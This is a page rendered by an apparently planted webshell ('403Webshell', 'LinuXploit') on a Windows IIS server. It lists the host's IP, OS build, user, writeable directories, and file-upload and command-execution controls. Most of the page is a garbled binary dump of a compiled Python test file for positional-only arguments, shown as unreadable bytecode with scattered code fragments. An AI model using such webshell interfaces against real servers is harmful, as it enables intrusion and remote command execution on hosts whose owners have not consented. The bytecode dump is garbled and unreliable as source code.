403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/__pycache__/test_positional_only_arg.cpython-315.opt-2.pyc
R
>lqjGLc��]PHs]PHs]PHs]PHs]QHGsQsQsQQksQQ\O2s
\Q6Xc\O2P!P!)	���check_syntax_errorc�
�V1!�N���a�bs""�2C:\Python315\\Lib\test\test_positional_only_arg.py�global_pos_only_fr�	���4�K�c�
�V1!rrrs"&r
�global_pos_only_and_normalrrr
c�
�V1!rrrs"&r
�global_pos_only_defaultsrrr
c��`�\sQs]snQQksQsQsQsQsQs	Qs
QsQ	sQ
s
QsQsQ
sQsQsQsQsQsQsQsQsQsQsQsQsQsQsQsQs Qs!Us"P!) �PositionalOnlyTestCasec��UO[U29^tt^2[UQ*QQ2PPP2P!)%fhP!9h)�
�<test>�single)�assertRaisesRegex�SyntaxError�compile)�self�codestr�regexs&&&r
�assertRaisesSyntaxError�.PositionalOnlyTestCase.assertRaisesSyntaxErrors4��
�
#�
#�K��
7�
7��G�d�N�H�h�7�8�
7�
7�
7�s�?�A	�A	c��[UQQ2[UQQ2[UQQ2[UQQ2[UQQ2[UQ2[UQ2[UQ2[UQ	2[UQ
2[UQ2[UQ2[UQ
2[UQQ2[UQQ2[UQ2[UQ2[UQ2[UQ2[UQ2P!)zdef f(a, b = 5, /, c): pass�<parameter without a default follows parameter with a defaultzdef f(a = 5, b, /, c): passz%def f(a = 5, b=1, /, c, *, d=2): passzdef f(a = 5, b, /): passzdef f(a, /, b = 5, c): passzdef f(*args, /): passzdef f(*args, a, /): passzdef f(**kwargs, /): passzdef f(/, a = 1): passzdef f(/, a): passzdef f(/): passzdef f(*, a, /): passzdef f(*, /, a): passzdef f(a, /, a): pass�.duplicate parameter 'a' in function definitionzdef f(a, /, *, a): passzdef f(a, b/2, c): passzdef f(a, /, c, /): passzdef f(a, /, c, /, d): passz def f(a, /, c, /, d, *, e): passzdef f(a, *, c, /, d, e): passr�rs&r
�test_invalid_syntax_errors�1PositionalOnlyTestCase.test_invalid_syntax_errorss����4�!>�@~���4�!>�@~���4�!H�KI�	J��4�!;�={�|��4�!>�@~���4�!8�9��4�!;�<��4�!;�<��4�!8�9��4�!4�5��4�!1�2��4�!7�8��4�!7�8��4�!7�9i�j��4�!:�<l�m��4�!9�:��4�!:�;��4�!=�>��4�!C�D��4�!@�Ar
c��[UQQ2[UQQ2[UQQ2[UQQ2[UQQ2[UQ2[UQ2[UQ2[UQ	2[UQ
2[UQ2[UQ2[UQ
2[UQQ2[UQQ2[UQ2[UQ2[UQ2[UQ2[UQ2P!)z!async def f(a, b = 5, /, c): passr!z!async def f(a = 5, b, /, c): passz(async def f(a = 5, b=1, /, c, d=2): passzasync def f(a = 5, b, /): passz!async def f(a, /, b = 5, c): passzasync def f(*args, /): passzasync def f(*args, a, /): passzasync def f(**kwargs, /): passzasync def f(/, a = 1): passzasync def f(/, a): passzasync def f(/): passzasync def f(*, a, /): passzasync def f(*, /, a): passzasync def f(a, /, a): passr"zasync def f(a, /, *, a): passzasync def f(a, b/2, c): passzasync def f(a, /, c, /): passz async def f(a, /, c, /, d): passz&async def f(a, /, c, /, d, *, e): passz#async def f(a, *, c, /, d, e): passrr#s&r
� test_invalid_syntax_errors_async�7PositionalOnlyTestCase.test_invalid_syntax_errors_async0s���4�!D�GE�	F��4�!D�GE�	F��4�!K�NL�	M��4�!A�DB�	C��4�!D�GE�	F��4�!>�?��4�!A�B��4�!A�B��4�!>�?��4�!:�;��4�!7�8��4�!=�>��4�!=�>��4�!=�?o�p��4�!@�Br�s��4�!?�@��4�!@�A��4�!C�D��4�!I�J��4�!F�Gr
c���QQkoUOU]]]2]2UOU]]]Q5]2UO[Q29^tt^2U]]]Q5PPP2UOU]]2]g2UO[Q29^tt^2U]]Q5PPP2UOU]]Q5]
2QQkoUOU]]]2]2UOU]]]Q5]2UO[Q29^tt^2U]]]Q5PPP2UOU]]2]g2UO[Q29^tt^2U]]Q5PPP2UOU]]Q5]
2P!)%fhCKG9h)%fhCK9h)%fhK�9h)%fhKg9h)	�
c�"�V*U*!rr�rr	�cs""&r
�f�DPositionalOnlyTestCase.test_optional_positional_only_args.<locals>.fG����5�1�9�r
�r-�If\(\) got some positional-only arguments passed as keyword arguments: 'b'�r	r-�r	c�"�V*U*!rrr,s""&r
r.r/Tr0r
)r*�d)�r*r6��assertEqualr�	TypeError�rr.s& r
�"test_optional_positional_only_args�9PositionalOnlyTestCase.test_optional_positional_only_argsFs���	�	
����1�a���Q�'�����1�a�1��q�)�
�
#�
#�I�/{�
|�
|�
�a�1��N�}�	
����1�a��#�&�
�
#�
#�I�/{�
|�
|�
�a�1�I�}�����1���B�'�	�	
����1�a���Q�'�����1�a�1��q�)�
�
#�
#�I�/{�
|�
|�
�a�1��N�}�	
����1�a��#�&�
�
#�
#�I�/{�
|�
|�
�a�1�I�}�����1���B�'�'}�
|�
|��}�
|�
|��}�
|��}�
|�sH�F$�%F8�*G�5G�$F5	�-F5	�8G		�G		�G	�G	�G/	�(G/	c�p�QQOQ[Q222*o[UQQ2P!)�def f(%s, /):
  pass
�, c3�@�SF �DoQU*w�	J	P!3h�zi%dr��.0�is& r
�	<genexpr>�NPositionalOnlyTestCase.test_syntax_for_many_positional_only.<locals>.<genexpr>c���*���*�Q�u�q�y�y�*����,rr��join�ranger�r�fundefs& r
�$test_syntax_for_many_positional_only�;PositionalOnlyTestCase.test_syntax_for_many_positional_onlya�,��*�T�Y�Y�6U�%�PS�*�6U�-U�U�����(�+r
c���QQ]-QkkoUO]UOO2UO]UOO2UOQUO2QQ]-QkkoUO]UOO2UO]UOO2UOQUO2P!)r7�gc��P!rr�rr	r-�d�er.rTs"""&&$$r
r.�:PositionalOnlyTestCase.test_pos_only_definition.<locals>.fg���r
c��P!rrrVs"""&&$$r
r.rYnrZr
)r7�r7��)r9�__code__�co_argcount�co_posonlyargcount�__defaults__r;s& r
�test_pos_only_definition�/PositionalOnlyTestCase.test_pos_only_definitionfs���	�!�	�	
����A�J�J�2�2�3�����A�J�J�9�9�:�����q�~�~�.�	�a�	�	
����A�J�J�2�2�3�����A�J�J�9�9�:�����A�N�N�3r
c�@�QoUOU]],]2P!)c��V*!rrrs""r
r.�BPositionalOnlyTestCase.test_pos_only_call_via_unpacking.<locals>.fvs	���5�Lr
�r9r;s& r
� test_pos_only_call_via_unpacking�7PositionalOnlyTestCase.test_pos_only_call_via_unpackingus!��	�	
����Q��F��Q�'r
c��QoQoUO[U29^tt^2U]Q5PPP2QoQoUO[U29^tt^2U]]Q5PPP2QoQoUO[U29^tt^2U]]Q5PPP2P!)%fhK~9h)%fhK[9h)%fhP!9h)c��P!rr�rs"r
r.�@PositionalOnlyTestCase.test_use_positional_as_keyword.<locals>.f|rZr
�If\(\) got some positional-only arguments passed as keyword arguments: 'a'rmc��P!rrrs"&r
r.rn�rZr
rc��P!rrrs""r
r.rn�rZr
zLf\(\) got some positional-only arguments passed as keyword arguments: 'a, b'�rr:)rr.�expecteds&  r
�test_use_positional_as_keyword�5PositionalOnlyTestCase.test_use_positional_as_keyword{s���	�_��
�
#�
#�I�x�
8�
8�
��F�9�	�_��
�
#�
#�I�x�
8�
8�
��Q�K�9�	�b��
�
#�
#�I�x�
8�
8�
��Q�K�9�
8�9�
8��9�
8��9�
8�
8�s5�
B%�B8�C�%B5	�.B5	�8C	�C	�C	�C	c�&�QoUO[Q29^tt^2U]]2PPP2UO[Q29^tt^2U]2PPP2UO[Q29^tt^2U2PPP2UO[Q29^tt^2U]]]]2PPP2P!)%fhK�9h)%fhK�9h)%fhKj9h)%fhP!9h)c��P!rrr,s""&r
r.�LPositionalOnlyTestCase.test_positional_only_and_arg_invalid_calls.<locals>.f�rZr
�1f\(\) missing 1 required positional argument: 'c'�:f\(\) missing 2 required positional arguments: 'b' and 'c'z@f\(\) missing 3 required positional arguments: 'a', 'b', and 'c'z3f\(\) takes 3 positional arguments but 4 were givenrrr;s& r
�*test_positional_only_and_arg_invalid_calls�APositionalOnlyTestCase.test_positional_only_and_arg_invalid_calls�s���	�
�
#�
#�I�/c�
d�
d�
�a��G�e�
�
#�
#�I�/l�
m�
m�
�a�D�n�
�
#�
#�I�/r�
s�
s�
�C�t�
�
#�
#�I�/e�
f�
f�
�a��A�q�M�g�
f�
e�
d��
m�
m��
s�
s��
f�
f�
f�sG�
C�	C�C,�0C?�C	�C	�C)	�"C)	�,C<	�5C<	�?D	�D	c��QQkoU]]2UO[Q29^tt^2U]2PPP2UO[Q29^tt^2U2PPP2UO[Q29^tt^2U]]]]2PPP2P!)%fhKr9h)%fhKW9h)%fhP!9h)r^c��P!rrr,s""&r
r.�UPositionalOnlyTestCase.test_positional_only_and_optional_arg_invalid_calls.<locals>.f�rZr
�1f\(\) missing 1 required positional argument: 'b'�:f\(\) missing 2 required positional arguments: 'a' and 'b'z=f\(\) takes from 2 to 3 positional arguments but 4 were given)r^rrr;s& r
�3test_positional_only_and_optional_arg_invalid_calls�JPositionalOnlyTestCase.test_positional_only_and_optional_arg_invalid_calls�s���	�	�!�Q��
�
#�
#�I�/c�
d�
d�
�a�D�e�
�
#�
#�I�/l�
m�
m�
�C�n�
�
#�
#�I�/o�
p�
p�
�a��A�q�M�q�
p�	e�
d��
m�
m��
p�
p�
p�s5�	B!�B4�C�!B1	�*B1	�4C	�=C	�C	�C	c
���QoU]]]]]Q5UO[Q29^tt^2U]]]]Q5PPP2UO[Q29^tt^2U]]]2PPP2UO[Q29^tt^2U]]2PPP2UO[Q29^tt^2U]2PPP2UO[Q29^tt^2U2PPP2UO[Q29^tt^2U]]]]]]]]Q5PPP2UO[Q	29^tt^2U]]]]]]8Q
5PPP2P!)%fhCK=9h)%fhCK 9h)%fhCK9h)%fhK�9h)%fhK�9h)%fhK�9h)%fhP!9h)c��P!rr)rr	r-rWrXs""&$$r
r.�SPositionalOnlyTestCase.test_positional_only_and_kwonlyargs_invalid_calls.<locals>.f�rZr
)rWrXz-missing 1 required keyword-only argument: 'd')rXz6missing 2 required keyword-only arguments: 'd' and 'e'ryrzz; missing 3 required positional arguments: 'a', 'b', and 'c'zif\(\) takes 3 positional arguments but 6 positional arguments \(and 2 keyword-only arguments\) were givenz,f\(\) got an unexpected keyword argument 'f')rWrXr.rrr;s& r
�1test_positional_only_and_kwonlyargs_invalid_calls�HPositionalOnlyTestCase.test_positional_only_and_kwonlyargs_invalid_calls�sy��	�	�!�Q��Q�!��
�
#�
#�I�/_�
`�
`�
�a��A��O�a�
�
#�
#�I�/h�
i�
i�
�a��A�J�j�
�
#�
#�I�/c�
d�
d�
�a��G�e�
�
#�
#�I�/l�
m�
m�
�a�D�n�
�
#�
#�I�/m�
n�
n�
�C�o�
�
#�
#�I�0^�_�_�
�a��A�q�!�Q�!�q�)�_��
#�
#�I�/^�
_�
_�
�a��A��a�2�&�`�
_�a�
`�
`��
i�
i�
i��
d�
d�
d��
m�
m��
n�
n��_�_��`�
_�
_�s}�
E1�#F�
F�	F-�3G�!G�G&�1F	�:F	�F	�F	�F*	�"F*	�-F=	�6F=	�G	�	G	�G#	�G#	�&G7	�/G7	c��QoU]]2UO[Q29^tt^2U]2PPP2UO[Q29^tt^2U2PPP2UO[Q29^tt^2U]]]2PPP2P!)%fhKq9h)%fhKV9h)%fhP!9h)c��P!rrrs""r
r.�DPositionalOnlyTestCase.test_positional_only_invalid_calls.<locals>.f�rZr
r�r�z3f\(\) takes 2 positional arguments but 3 were givenrrr;s& r
�"test_positional_only_invalid_calls�9PositionalOnlyTestCase.test_positional_only_invalid_calls�s���	�	�!�Q��
�
#�
#�I�/c�
d�
d�
�a�D�e�
�
#�
#�I�/l�
m�
m�
�C�n�
�
#�
#�I�/e�
f�
f�
�a��A�J�g�
f�	e�
d��
m�
m��
f�
f�
f�s5�	B�B1�	C�B.	�'B.	�1C	�:C	�C	�
C	c�.�QQkoU]2UO[Q29^tt^2U2PPP2UO[Q29^tt^2U]]]2PPP2P!)%fhKC9h)%fhP!9h)r]c��P!rrrs""r
r.�RPositionalOnlyTestCase.test_positional_only_with_optional_invalid_calls.<locals>.f�rZr
z1f\(\) missing 1 required positional argument: 'a'z=f\(\) takes from 1 to 2 positional arguments but 3 were given�r]rrr;s& r
�0test_positional_only_with_optional_invalid_calls�GPositionalOnlyTestCase.test_positional_only_with_optional_invalid_calls�sn��	�	�!��
�
#�
#�I�/c�
d�
d�
�C�e��
#�
#�I�/o�
p�
p�
�a��A�J�q�
p�e�
d��q�
p�
p�s#�A0�B�0B	�9B	�B	�B	c��QoU]]]Q5UO[29^tt^2U]]]Q5PPP2P!)%fhP!9h)c��P!rrr,s""$r
r.�=PositionalOnlyTestCase.test_no_standard_args_usage.<locals>.f�rZr
r1r3)�assertRaisesr:r;s& r
�test_no_standard_args_usage�2PositionalOnlyTestCase.test_no_standard_args_usage�s?��	�	
�!�Q�!��
�
�
�y�
)�
)�
�a�1��N�*�
)�
)�
)�s�A�A	�A	c��QQkoUOQUO2QUmUOU]]]2]2P!)r]c�"�V*U*!rrr,s""&r
r.�>PositionalOnlyTestCase.test_change_default_pos_only.<locals>.f�r0r
)r]r^r\)r9rbr;s& r
�test_change_default_pos_only�3PositionalOnlyTestCase.test_change_default_pos_only�s<��	�	
�������/�"�������1�a���Q�'r
c��QoUOU]]2]2UOU]]Q5]2QQkoUOU]2]2QoUOU]]2]2QoUOU]]2]2P!)c��V*!rrrs"&r
�<lambda>�5PositionalOnlyTestCase.test_lambdas.<locals>.<lambda>����A�Er
r4c��V*!rrrs"&r
r�r�����a�er
c��V*!rrrs""r
r�r��r�r
c��V*!rrrs""r
r�r��r�r
r�rh)r�xs& r
�test_lambdas�#PositionalOnlyTestCase.test_lambdas�s���!������1�Q���#�����1�q��1�%�#������1��q�!�!������1�a��!�$�#������1�a��!�$r
c���[UQQ2[UQQ2[UQQ2[UQQ2[UQQ2[UQ2[UQ2[UQ2[UQ	2[UQ
2[UQ2[UQ2[UQ
2[UQQ2[UQQ2[UQ2[UQ2[UQ2[UQ2P!)zlambda a, b = 5, /, c: Noner!zlambda a = 5, b, /, c: Nonez%lambda a = 5, b=1, /, c, *, d=2: Nonezlambda a = 5, b, /: Nonezlambda a, /, b = 5, c: Nonezlambda *args, /: Nonezlambda *args, a, /: Nonezlambda **kwargs, /: Nonezlambda /, a = 1: Nonezlambda /, a: Nonezlambda /: Nonezlambda *, a, /: Nonezlambda *, /, a: Nonezlambda a, /, a: Noner"zlambda a, /, *, a: Nonezlambda a, /, b, /: Nonezlambda a, /, b, /, c: Nonez lambda a, /, b, /, c, *, d: Nonezlambda a, *, b, /, c: Nonerr#s&r
�test_invalid_syntax_lambda�1PositionalOnlyTestCase.test_invalid_syntax_lambda�s����4�!>�@~���4�!>�@~���4�!H�KI�	J��4�!;�={�|��4�!>�@~���4�!8�9��4�!;�<��4�!;�<��4�!8�9��4�!4�5��4�!1�2��4�!7�8��4�!7�8��4�!7�9i�j��4�!:�<l�m��4�!:�;��4�!=�>��4�!C�D��4�!=�>r
c��QQ2oUOU2O]]2Q2UOUOU2]]2Q2UO[UO]]2QoUO	[U29^tt^2U2O]]Q5PPP2P!)%fhP!9h)c�(`�\sQsQsnQsQsUsP!)�<PositionalOnlyTestCase.test_posonly_methods.<locals>.Example�c�
�V1!rr)rrr	s"""r
r.�>PositionalOnlyTestCase.test_posonly_methods.<locals>.Example.fs	���t�r
r)�__name__�
__module__�__qualname__�__firstlineno__r.�__static_attributes__�__classdictcell__��
__classdict__s@r
�Exampler�s����
�
r
r�r2r4�r7r])r9r.r�r:r)rr�rss&  r
�test_posonly_methods�+PositionalOnlyTestCase.test_posonly_methodss���	�	�	
�������Q��*�F�3�������7�9�a��3�V�<����)�W�Y�Y��1�5�_��
�
#�
#�I�x�
8�
8��I�K�K��Q�K��9�
8�
8�
8�s�C�C	�	C	c��UO[Q29^tt^2[2PPP2P!)%fhP!9h)r�)rr:rr#s&r
�test_module_function�+PositionalOnlyTestCase.test_module_function
s,��
�
#�
#�I�/l�
m�
m���n�
m�
m�
m�s�5�A	�A	c�,�QoUOU]]2]]2]
2UO[Q29^tt^2U]]2]2PPP2UO[Q29^tt^2U]]2]]]2PPP2QoUOU]]2]]2]
2QoUOU]]2]]2]
2UO[Q29^tt^2U]]2]2PPP2UO[Q29^tt^2U]]2]]]2PPP2P!)%fhK�9h)%fhK�9h)%fhKp9h)%fhP!9h)c�``�UU1QkoU!)c�4:�RR*U*U*!rr��x2�y2r��ys"&��r
rT�:PositionalOnlyTestCase.test_closures.<locals>.f.<locals>.g�����1�u�r�z�B��&r
r�r�r�rTsff r
r.�/PositionalOnlyTestCase.test_closures.<locals>.f�
���
'��Hr
z2g\(\) missing 1 required positional argument: 'y2'z3g\(\) takes 2 positional arguments but 3 were givenc�``�UU1QkoU!)c�4:�RR*U*U*!rrr�s&&��r
rTr�r�r
rr�sbf r
r.r�r�r
c�``�UU1QkoU!)c�4:�RR*U*U*!rrr�s"&��r
rTr�&r�r
rr�sbf r
r.r�%r�r
r8r;s& r
�
test_closures�$PositionalOnlyTestCase.test_closuress7��	�
	
����1�Q���!��b�)�
�
#�
#�I�/d�
e�
e�
�a��F�1�I�f�
�
#�
#�I�/e�
f�
f�
�a��F�1�Q�q�M�g�	�
	
����1�Q���!��b�)�	�
	
����1�Q���!��b�)�
�
#�
#�I�/d�
e�
e�
�a��F�1�I�f�
�
#�
#�I�/e�
f�
f�
�a��F�1�Q�q�M�g�
f�)f�
e��
f�
f�� f�
e��
f�
f�
f�sH�E	�9E�7E/�-F�	E	�E	�E,	�%E,	�/E?	�8E?	�F	�F	c�(�QoQQ2oQoP!)c��QQkoU!)c�&�U]6�cPgQ[-!�r]r���int)�formats"r
�__annotate__�gPositionalOnlyTestCase.test_annotations_in_closures.<locals>.inner_has_pos_only.<locals>.f.__annotate__3s
��!�!�S�!r
c��P!rr�r�s"r
r.�ZPositionalOnlyTestCase.test_annotations_in_closures.<locals>.inner_has_pos_only.<locals>.f3s��cr
r�r.s r
�inner_has_pos_only�OPositionalOnlyTestCase.test_annotations_in_closures.<locals>.inner_has_pos_only2s
��!��Hr
c�(`�\sQsQsnQsQsUsP!)�FPositionalOnlyTestCase.test_annotations_in_closures.<locals>.Something�8c��QQkoU!)c�&�U]6�cPgQ[-!r�r�)r�s"r
r��ePositionalOnlyTestCase.test_annotations_in_closures.<locals>.Something.method.<locals>.f.__annotate__:�
��%�%��%r
c��P!rrr�s"r
r.�XPositionalOnlyTestCase.test_annotations_in_closures.<locals>.Something.method.<locals>.f:���#r
rr;s& r
�method�MPositionalOnlyTestCase.test_annotations_in_closures.<locals>.Something.method9�
��%��r
r�r�r�r�r�r�r�r�r�s@r
�	Somethingr�8s����
�
r
r�c��QoU2!)c��QQkoU!)c�&�U]6�cPgQ[-!r�r�)r�s"r
r�ڀPositionalOnlyTestCase.test_annotations_in_closures.<locals>.multiple_levels.<locals>.inner_has_pos_only.<locals>.f.__annotate__Ar�r
c��P!rrr�s"r
r.�sPositionalOnlyTestCase.test_annotations_in_closures.<locals>.multiple_levels.<locals>.inner_has_pos_only.<locals>.fAr�r
rr�s r
r��hPositionalOnlyTestCase.test_annotations_in_closures.<locals>.multiple_levels.<locals>.inner_has_pos_only@r�r
r)r�s r
�multiple_levels�LPositionalOnlyTestCase.test_annotations_in_closures.<locals>.multiple_levels?s��
�&�'�'r
r)rr�r�r�s&   r
�test_annotations_in_closures�3PositionalOnlyTestCase.test_annotations_in_closures0s��	�	�	�	(r
c��QoUOU]*]*Q5]*Q]*-12UO[Q29^tt^2U]*Q5PPP2UOU]*2]*-12P!)%fhK,9h)c�
�V1!rr)�	something�kwargss",r
r.�MPositionalOnlyTestCase.test_same_keyword_as_positional_with_kwargs.<locals>.fHs���&�&r
)rrz9f\(\) missing 1 required positional argument: 'something'r8r;s& r
�+test_same_keyword_as_positional_with_kwargs�BPositionalOnlyTestCase.test_same_keyword_as_positional_with_kwargsGso��	'�	
����2��,�r�K��3D�.E�F�
�
#�
#�I�/k�
l�
l�
��O�m�	
����2���R��)�m�
l�s�
A/�/A?	�8A?	c��QQ2oUOU2O2]*2UOU2O2Q2UOU2O2Q2P!)c�H`�\sQsQsnQQksQQksQQ],-QkksQsUsP!)	�/PositionalOnlyTestCase.test_mangling.<locals>.X�Sc��U!rr)r�_X__as""r
r.�1PositionalOnlyTestCase.test_mangling.<locals>.X.fTs���
r
c�
�V1!rr)rr
�_X__bs""&r
�f2�2PositionalOnlyTestCase.test_mangling.<locals>.X.f2Ws
���z�!r
�_X__cc��VU1!rr)rr
r
rs""&$r
�f3�2PositionalOnlyTestCase.test_mangling.<locals>.X.f3Zs���#��&r
r)�*�r�+)	r�r�r�r�r.rrr�r�r�s@r
�XrSs ����
�
"�
'�2�
'�
'r
rr)rr�,)r9r.rr)rrs& r
�
test_mangling�$PositionalOnlyTestCase.test_manglingRsV��	'�	'�	
��������"�%���������8�,���������<�0r
c�p�QQOQ[Q222*o[UQQ2P!)r?r@c3�@�SF �DoQU*w�	J	P!3hrBrrCs& r
rF�APositionalOnlyTestCase.test_too_many_arguments.<locals>.<genexpr>crHrIrJrrrKrNs& r
�test_too_many_arguments�.PositionalOnlyTestCase.test_too_many_argumentsarRr
c�`�[O[2o[O[2o[O[2o[O
U2o[O
U2o[O
U2oUO
U]]2Q2QoUO[U29^tt^2U]]Q5PPP2UO
U]]2Q2QoUO[U29^tt^2U]]Q5PPP2UO
U2Q2QoUO[U29^tt^2U]]Q5PPP2P!)%fhK�9h)%fhKo9h)%fhP!9h)r7z\global_pos_only_f\(\) got some positional-only arguments passed as keyword arguments: 'a, b'rzbglobal_pos_only_and_normal\(\) got some positional-only arguments passed as keyword arguments: 'a'z`global_pos_only_defaults\(\) got some positional-only arguments passed as keyword arguments: 'a'r�)	�pickle�dumpsrrr�loadsr9rr:)r�pickled_posonly�pickled_optional�pickled_defaults�unpickled_posonly�unpickled_optional�unpickled_defaultsrss&       r
�test_serialization�)PositionalOnlyTestCase.test_serializationfsD�� �,�,�'8�9��!�<�<�(B�C��!�<�<�(@�A��"�L�L��9��#�\�\�*:�;��#�\�\�*:�;�����*�1�Q�/��7�:��
�
#�
#�I�x�
8�
8���A�&�9�	
���+�A�a�0�%�8�7��
�
#�
#�I�x�
8�
8���Q�'�9�	
���+�-�u�5�7��
�
#�
#�I�x�
8�
8���Q�'�9�
8�9�
8��9�
8��9�
8�
8�s6�E6�F	�!F�6F	�?F	�	F	�F	�F-	�%F-	c��``�QQknRO[Q29^tt^2R]]Q5PPP2UU1QkoU]]2U]]Q5U]2U2P!)%fhK;9h)r7c�� �V1!3hrrrs"&r
r.�,PositionalOnlyTestCase.test_async.<locals>.f�s����4�K�s�rorc�:�RU-U@oUOP2ROWQ2P![coSOoPo=K0Po=hh9h)Nr�)�send�
StopIteration�valuer9)�argsr�cororX�resultr.rs*,   ��r
�_check_call�6PositionalOnlyTestCase.test_async.<locals>._check_call�sO���
!��$�)�&�)���	�	�$��
���V�V�,��!�
!������
!�s�2�	A�A�A�Ar4r�rr)rr6r.sf @r
�
test_async�!PositionalOnlyTestCase.test_async�s^���	��
#�
#�I�/{�
|�
|�
��Q�K�}�	-�	�A�q���A����A���
�}�
|�s�A%�%A5	�.A5	c��QQkoUO[Q29^tt^2U]]Q5PPP2U]]2oUO[U2Q2U]]Q5oUO[U2Q2U]2oUO[U2Q2U2oUO[U2Q2P!)%fhK�9h)r7c3� �V1w�	P!3hrrrs"&r
r.�0PositionalOnlyTestCase.test_generator.<locals>.f�s����$�J�s�
rorr4r�)rr:r9�next)rr.�gens&  r
�test_generator�%PositionalOnlyTestCase.test_generator�s���	��
#�
#�I�/{�
|�
|�
��Q�K�}���1�g������c��F�+���Q�i������c��F�+���d������c��F�+��c������c��F�+�}�
|�s�C�C	�C	c�`�[2nU1QkQ2oQQU2oUOU2O2R2P!)c�0:`�\sQsQsnU1QksQsUsP!)�,PositionalOnlyTestCase.test_super.<locals>.A�c�
:�R!rr)r�sentinels&�r
r��3PositionalOnlyTestCase.test_super.<locals>.A.method�s����r
rr�)r�rFs@�r
�ArC�s����
 �
 r
rHc�4``�\sQsQsnU1QksQsUsU9s!)�,PositionalOnlyTestCase.test_super.<locals>.C�c�":�[RU_2!r)�superr�)r�	__class__s"�r
r��3PositionalOnlyTestCase.test_super.<locals>.C.method�s����w�~�'�'r
r)r�r�r�r�r�r�r��
__classcell__)rNr�s@@r
�CrJ�s����
(�
(r
rQ)�objectr9r�)rrHrQrFs&  @r
�
test_super�!PositionalOnlyTestCase.test_super�s:����8��	 �	 �	(��	(�	
��������x�0r
c� �Qo[QUOO22o[OU2Tt,tFDp3O
UO1MJ	ooUOQU2UOQU2P!ttoh)c��QQkoP!)c�2�U]6�cPgQ[[I-!r�r�)r�s"r
r��XPositionalOnlyTestCase.test_annotations_constant_fold.<locals>.g.<locals>.f.__annotate__�s��.�.�#��%�.r
c��P!rrr�s"r
r.�KPositionalOnlyTestCase.test_annotations_constant_fold.<locals>.g.<locals>.f�s��3r
rr�s r
rT�@PositionalOnlyTestCase.test_annotations_constant_fold.<locals>.g�s��.r
c3��SF �D=o[U[O2%fJ%UOQ6XfJ8Uw�	J?	P!3h)r�)�
isinstance�types�CodeType�co_name)rD�consts& r
rF�HPositionalOnlyTestCase.test_annotations_constant_fold.<locals>.<genexpr>�s8��+?���+?�%�%�e�U�^�^�<��AF���R`�A`���+?�s�"A�A�A)�	UNARY_NOTN)�IS_OPr7)	r=r_�	co_consts�dis�get_instructions�opname�argval�assertNotIn�assertIn)rrT�code_objrE�codess&    r
�test_annotations_constant_fold�5PositionalOnlyTestCase.test_annotations_constant_fold�s}��	/��b�1�:�:�+?�+?�b�b��/2�/C�/C�H�/M�N�/M�!�(�(�A�H�H�%�/M��N����,�e�4��
�
�l�E�*��Os�"Br)zinvalid syntax)#r�r�r�r�rr$r'r<rPrcrirtr{r�r�r�r�r�r�r�r�r�r�r�r�rrrr*r8r?rSrnr�r�r�s@r
rrs�����8�B�,H�,(�6,�

4�(��&
�	�'�(	���(�%�?�*
 � �
�<?�.	*�
1�,�
(�6�*,�"1�+�+r
r�__main__r�)
rfr!r^�unittest�test.supportrrrr�TestCaserr��mainrr
r
�<module>rusR���
���+����l+�X�.�.�l+�^
�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit